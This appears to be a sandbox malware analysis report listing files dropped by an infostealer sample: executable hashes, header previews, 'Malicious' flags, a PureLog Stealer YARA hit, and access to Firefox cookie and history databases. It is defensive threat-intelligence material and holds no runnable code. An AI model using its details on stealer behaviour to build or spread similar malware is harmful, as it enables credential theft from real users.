File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 09:48:42 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2475
Entropy (8bit):	3.613362154845889
Encrypted:	false
SSDEEP:	48:8S7dBT6DpRYrnvs4dAKRkdA5q+9Jq87dAKR+/KRlay8Ec:8Snh5Nayd
MD5:	6503AF6A99B86A6AEAA48110A934F303
SHA1:	F243FD8C39CD1B2A1BBD6711252B4D75B1E03378
SHA-256:	1F05F2DDE310E7FCA681F6E832DB95B1798D4FC7904B69B12865C154B4CE1CEC
SHA-512:	6C504B54427A8E72BB8EBB31B6B504ABD4DE943457984B1BDFBD4E41CE025E5DD6D6B3F7F973152B4366266FDCF6BEF9D543656E5568162A7B7D674C81C2F7FB
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....=.,.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW.V..PROGRA~1..t......O.ICW.V....B...............J.....p+j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M.....................G-..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.V..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.M.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\0HBkpGNsgSJFxEE20V1FOH58.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	5.242123603799515
Encrypted:	false
SSDEEP:	24:hYYIzDImyJRA3ZsjNQCRtgoLY95Mu56+eDHHLFCOXAkRcfRrzd0Ll72rKQk:rqLKj2CZLY5Mc6NDLYzkYKLlOM
MD5:	8150F458ED6FB9B1DB4E5CFA57A1A281
SHA1:	6E5726854D28687B560D7FDCB5C782C425C7DFB9
SHA-256:	4C13D452DD5D49671BD93CA32F2B4F85C78E39B6AB0AD1F38D98ED267F8FD896
SHA-512:	4CC6A112673AEF8BB8BB8A385C26791B805D43BB707B509880E894F1C83BAB4E16F13DE187036C5F660C3BEC1D286258396B7BDE65C5D7945C5019665196818C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1

C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228864
Entropy (8bit):	6.12511745585131
Encrypted:	false
SSDEEP:	3072:tneBqhy5aVLOwqI8sgwoEHXfwaNUM+/ORSs5G2Ms4f6TFZbhgvbUxzJ8Y:tETlsgOfDt+/V6JQO98
MD5:	3955AF54FBAC1E43C945F447D92E4108
SHA1:	53C5552C3649619E4E8C6A907B94573F47130FA4
SHA-256:	E6DE332AD778F7A7CF160EFA60656C3AC960DC77806905493D5CFFE58EE1DE16
SHA-512:	FA028A040A5F075296AEBAB7F63A59B6CBBA32EE0964DFC08768396CC012FF5D861191E2478914D79D4A424C3BBA110505A58B97376C44C716F0B1EA70551037
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...sto@sto@sto@!.lA{to@!.jALto@!.kAoto@z..@ato@..nAzto@stn@.to@..jA~to@..mArto@Richsto@........PE..d...A%"^.........."......r..........`;.........@....................................)7....`..................................................o..........0...........................0&..T....................'..(....&..................h............................text....q.......r.................. ..`.rdata..D............v..............@..@.data................f..............@....pdata...............t..............@..@.rsrc...............................@..@.reloc...............v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\1NhdxU61U0SrSVJsObDYbd2A.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	548
Entropy (8bit):	4.688532577858027
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5r8INGlTF5TF5TF5TF5TF5TFK:neRH68DTPTPTPTPTPTc
MD5:	370E16C3B7DBA286CFF055F93B9A94D8
SHA1:	65F3537C3C798F7DA146C55AEF536F7B5D0CB943
SHA-256:	D465172175D35D493FB1633E237700022BD849FA123164790B168B8318ACB090
SHA-512:	75CD6A0AC7D6081D35140ABBEA018D1A2608DD936E2E21F61BF69E063F6FA16DD31C62392F5703D7A7C828EE3D4ECC838E73BFF029A98CED8986ACB5C8364966
Malicious:	false
Reputation:	unknown
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3134976
Entropy (8bit):	7.9639382810091615
Encrypted:	false
SSDEEP:	49152:TkSSEjtKhmW9bkolQcTF9dbrYszEEUJcbl9YF7FqpSoEGUwXjLRd2xcSG:Ndj0kWNTFjvLL4RLoEajLLWcS
MD5:	6BC7F3C7927F5FC13A4410F1770C2DFE
SHA1:	4FD9306A40681E1F881168644F991C30824B02CC
SHA-256:	C6EC11A31D4C28480F4EE3CC744792E12D7919CFFFFF5B7CA86649C904B7ABDA
SHA-512:	15A8E425FC9838AF7B4084343DA464CA00A89FBBED4F70EB13D6E7D5F1970F646748E12FE0C2E12FB89165AF57338C9625178282B277C3C5CE9773876BC65A3F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............a5...........@.......................... p.......0...@..................................?3.,.....Z..&....................Z.\...........................xp-.....P.Z.@............0+......A8.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp.............................. ..`.vmp.......0+.....................@....vmp... ./..@+.../................. ..`.reloc..\.....Z......./.............@..@.rsrc....&....Z.. ..../.............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2562560
Entropy (8bit):	6.889350127028479
Encrypted:	false
SSDEEP:	49152:jxIRJF1HL+VdX68kUmJtTF+TxMoxc1TU+j+dAzGwlrh:jEJF16dX68dmtIuoITsdZ
MD5:	A2A4B134591EF73161CE1E353605E858
SHA1:	9B4475A651023D26D35FE3980C9F4129B60E5F69
SHA-256:	16385329F031093C70F63F55D0A636698A7AADA08C84CD13A1511BA65A5FC6B6
SHA-512:	15D19BD23784F519A6111A1960042FDF5F033FCB7BA54D1CE4C220129EDB65DA61A77FDBCF63148FAA0971C1B25A7CA6BBE6B54EE17C3B08DB3082C8E807F8A2
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@...........................'..................@..............................."...p.......................0..H6........................... ......................................................CODE................................ ..`DATA............. ..................@...BSS......................................idata...".......$..................@....tls.....................................rdata....... ......................@..P.reloc..H6...0...8..................@..P.rsrc........p......................@..P..............'.......'.............@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223232
Entropy (8bit):	6.941594799914282
Encrypted:	false
SSDEEP:	3072:WuzNf0F9M3ZRlFxhAW8G+OElfJ5b6xVCUW34pY85m+wp0XvGiRyD:Bf0aZdTAbG+5WVCUWoi8AGXy
MD5:	6012D4B3C55C25ACDB40AD82652ACDF5
SHA1:	58E3CDB22D39AC1A36658D17B3F262FF45E90D9E
SHA-256:	65B1393A4A0852E19734DB5D0A40AF98A952C55FD73C2DABC3DE0EA0180BDD0A
SHA-512:	8D450871F284387F2F02CA8189C357B5766DF916FC09C39262F265A4EA29F12CC0DDCABFD4E0BACDF7A0155D55426EAB6ACB7ACEF17EDED55645984D275D0103
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...............................................N.............N......Rich............................PE..L......c.....................N.......>............@..........................`.......P.......................................i..P...................................i..............................@_..@...............d............................text.../........................... ..`.rdata...q.......r..................@..@.data....0.......v...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3147776
Entropy (8bit):	7.992268418625357
Encrypted:	true
SSDEEP:	98304:ZI6EwkP9homUo618SS3qKhINbwvlQv38Gp3GR:q6EwU9E8RaKhI6yvs8+
MD5:	A032B8D3908C0282D9ACB8647CEC1765
SHA1:	B362D15E7CB64808F6BEDE1E656A7622877A05DE
SHA-256:	5B17A625237D0ED8738C793EB8D9E9E8CBE4CEFF92CFAC515BECE76BA9341591
SHA-512:	B6DD57C3DCDD4A1BEFBD332D0B82C70555A49E60DA4DFA4A4A220E35B89E001520ABB20F311C4993A53A78179A83BF47E68ED0DE68631A6AB44F43358FCBFC61
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|.......%............@..........................@............@... .. .... .. ..........PP......(_.......`..4...................0P...............................P.......................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........y......(..................@....data.... ".. ....".................@...................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	363520
Entropy (8bit):	7.566311373125175
Encrypted:	false
SSDEEP:	6144:hKrTm/Wop3oiUklM540oF1zTuoZxFrI/l2k9Joup1JgHEa23sw6ac:8rTm/WohfdFNhhGpIOcYc
MD5:	D79B788762C6435AE9F599743F9F482D
SHA1:	4D96933A654C426776B30B57B49227E812B3D231
SHA-256:	0C9D401E9B393D2E7E2E3C727BA6E3E83CDE22DF260731879A4E5B0350929574
SHA-512:	E6E3A3BE1C171B38A9B167291D2F875C169C04B0AEFE7425092301CDB694C2C052FDC30E770634634C82CA3CCA76507E20D0AFF1EA6DB9076299E10935BB39F9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L...rJOf...............'.............F............@.......................................@.................................DY..(....................................?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...dA...p...4...>..............@....reloc...............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5154288
Entropy (8bit):	7.171492010172408
Encrypted:	false
SSDEEP:	98304:NllmCKfheKnF4Gnuyjscn9GtGOqHLixnkmb0ZKH4lODcxSgo5Gn8WuMRIn+N3gNX:NllmCKfY2uWUMBHLi6mb0ZKH4lODcxSL
MD5:	D9A7D15AE1511095BC12D4FAA9BE6F70
SHA1:	B90FBB35EB6DD050E4829ECAC702FEAB90F58859
SHA-256:	BDC61E24B03DB5DBDEAF7979906EA51F0BFE388B41D8E7E80BDE6D9ACD716BBA
SHA-512:	F913E5BBB998AD8A391EA99C6D045081DA5AF128B9391C3A0249EC4EEB9A504BE796B3315E7C5B4BAE825B7629527719A845A974F4EBA37BD0233B86E5483E25
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.................P...J..L........K.. ... K...@.. ........................N......GO...@.................................P.K.K.... K..I...........8N..m....N...................................................... ............... ..H............text.....J.. ....J................. ..`.rsrc....I... K..J....J.............@..@.reloc........N......6N.............@..B..................K.....H........=..T...........hY..{.8.........................................6+.(..GJ(......:+.(m..1.(.....V+.(^ Hg..(....8.......B+.(6.YT~..........6+.() sm~.......0..........+.(BTd/ ........8........E........3...8....s.........8....s.........8...s.........8....s......... .....:....&8....s.........8......0..&.......+.(\|.\9.~....o......8....8....8.........0..+.......+.(.r0k8....8....8.....~....o......8........0..&.......+.($R.:.~....o......8....8....8.........0..&.......

C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3098112
Entropy (8bit):	7.974842545163506
Encrypted:	false
SSDEEP:	49152:+BuWtvfTbdUF6VM+MFB/qeIQwJ5AYEgrNrEsWTD0X9eeYlHhsuDvEKDN0M:IpvtVM+iSQ6NrEsWTqSYtKDNZ
MD5:	DA2163C91450CEDDEE87651347B25C96
SHA1:	23BE1283A5928B2C03ED04508EE5D740706A562D
SHA-256:	EE7732BA42F09F17B694EFDA65B25A9F23E7BDB6051940877AA42E0623E35DCF
SHA-512:	9FFCAE9BB5B2D68BD107D23718171B9D5B2FAC3F97D6EEB9B75D90204EA35FFF31741786A22D710058F7E586981562208DD4F4F4251EC7E8B9EEF4A761FF442C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............e-...........@..........................Po.....qr/...@...................................K.,.... Z..&....................Z..............................PE.....p.Y.@..................`0+.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...lI.......................... ..`.vmp.............................@....vmp...@.....+.../................. ..`.reloc........Z......./.............@..@.rsrc....&... Z.. ...&/.............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\QD1dspH2lUDhmhxJzaLbmKhZ.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467337
Entropy (8bit):	5.350984072989742
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8b5a2MChtQZBtnI766V:Mksqg5a2MChtQI
MD5:	80A2FCB1612A35B66D3167551523788E
SHA1:	77C3AFE58AF5CEB9B2751FEA932A719F02A9BF8C
SHA-256:	7A6115A17BFF4C2D83CF4B30BAE21CD14BF9C12B3BF8EA4AAFC68ED7434FE267
SHA-512:	E85DB96CED4D860227BB9F3C8A6A575F90D09EEDD867E1FD8F0838BB388846B04ABD26FAB8E9761905F2E37B5A8D30F8969B36E5260B1262CC04D44FD3005DC6
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7629919
Entropy (8bit):	7.9969071820011015
Encrypted:	true
SSDEEP:	196608:91OzNaCHRQD87MW3z1rkbh6UCpwO5zC43gRtu:3OxaERQD87MwFkbIrhzC43gRQ
MD5:	AA91E10DDEC556679F0411387B52FC53
SHA1:	F12C0CE14D98E8CE2FFA99769134A1DD066F0C53
SHA-256:	C849448EB55B27B08F1B558ECB5135B964334AF7B1AF5281D9123AB038F92D51
SHA-512:	41C8C9BD5ADCE1DBB7F111C86538369EEC97AEEBF1A696F69795CB1DC8CDA80E5DA50F1B77E1DEBBC004AED2E9E7B0F2AEEA4D835AF74F3B6855008FC2EF3744
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5382672
Entropy (8bit):	6.621301293389298
Encrypted:	false
SSDEEP:	98304:tfblDCLzsVGzo6WvZ4vALxjloC4/ozr0J:tblO8V+o6dv4iFAnc
MD5:	029B4A16951A6FB1F6A1FDA9B39769B7
SHA1:	A64E56DC24E713637AF0EF71B279F39843E0F0EB
SHA-256:	94DB25630E224DE4D562F408CA6ED1259EAE3645931174FCD57C07AD6933AA61
SHA-512:	3A117B879F96C42387CC088A2F05F441222F0DFBFB4F405F1E09BC03F92CDFB27FFA986A1F9AD4AD1E6E8D2387D3C367A54DCF51A7C2E1F32F48FB15B8406BFC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........p.........................p...........~+....~+.....~+......~+..................Z...O(......O(............O(......Rich....................PE..L.....Mf...............'..!..........MI.......!...@..........................pl......-R...@..........................................%......................`l.................................................................................... ..!......:.................. ..` N.....!......>..............@..@ .....p$......6..............@....rsrc.........%......F..............@..@ 4.....)..V...(..............@..B.idata..............~..............@....tls....................................themida..A...*...A.................`....reloc.......`l......"R................@........................................................................................................................

C:\Users\user\Documents\SimpleAdobe\ZWIjNFEp3fkubvKrnOBf8J4U.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467317
Entropy (8bit):	5.350749803019435
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8B5a2MChtQZBtnI766t:MksqK5a2MChtQQ
MD5:	2262D522E445236DD7FB3D35690C32D3
SHA1:	A5B0DF7CE3D46B43281AF7781D14873CC235E71B
SHA-256:	EFF3A4788174F6B53AF693CEF691FAEA8FD5ADFCCCA10EB28D330CAEDE6920BC
SHA-512:	B2CBED099D2F458BCE8240D6028246AE917971FEE71E59AD14CEDB355500A3B9A30F0AABD78476D885FDF5A57CA2A0E312F96BE4672F9A7C8A8B91B4DE54EDD8
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3063296
Entropy (8bit):	7.969029503778035
Encrypted:	false
SSDEEP:	49152:wFHrEORzDqheKFQQfMtiCC8l+IruOXvoDTWAFQKn1kLiaIg1FWaaZ:OIOlO9Jqrl+opgDTWARlaL10Z
MD5:	FF620B1758C719708D6CECA3B280ABC0
SHA1:	7A13B9CBEAB951D4B6B8AEE520DCF5097534A18D
SHA-256:	C29001BBD0CDA040FF0DC0639CB01C126B2CAA96177F00703E1C82F70A74452E
SHA-512:	3DE8A3A08EECE63D324D6990E3417BE0BF00BE627FFE55280964072FEAD0468519658E193EAA72696F7562E06F45895EE68AD1EFFEB91BAA8303CF3CAC60AA43
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'..............-...........@...........................n...........@.................................<...,.....Y..&...................`Y.8...........................@.<......PY.@....................;.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...).......................... ..`.vmp.............................@....vmp....w....*..x.................. ..`.reloc..8....`Y.....................@..@.rsrc....&....Y.. ..................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5731975
Entropy (8bit):	7.9990882596770465
Encrypted:	true
SSDEEP:	98304:m2jOVGb+vPPK3s+rfTvn/w9xPnez+bgp+X0GZERIl9F7+bfZS3b4ARBxgGI6kZl:WG6/KPrfTfkRpbs9GCO9UbfZU8mxTFwl
MD5:	503AEEC17EEE650E815927B78D27AAEF
SHA1:	CA838BBCDF723BFBDCCE900BBBCECCF512D0A4F6
SHA-256:	BDB0794EAE952CCB9F578C6A0F9074B28074D5D0F96997BC811B938494BF8DB5
SHA-512:	E7392E325DB2B745BE2AC6C99E8867CF426784316CD5A2C4F0E6C6D79D92609D409329C9AFBA03A0A10C3A912E2B7AD7A974317C2D1F98537E53648E23BD3CD6
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@...................@..............................P........,..........................................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....H................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe

Download File

Process:	C:\Users\user\Desktop\BI6oo9z4In.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Reputation:	unknown
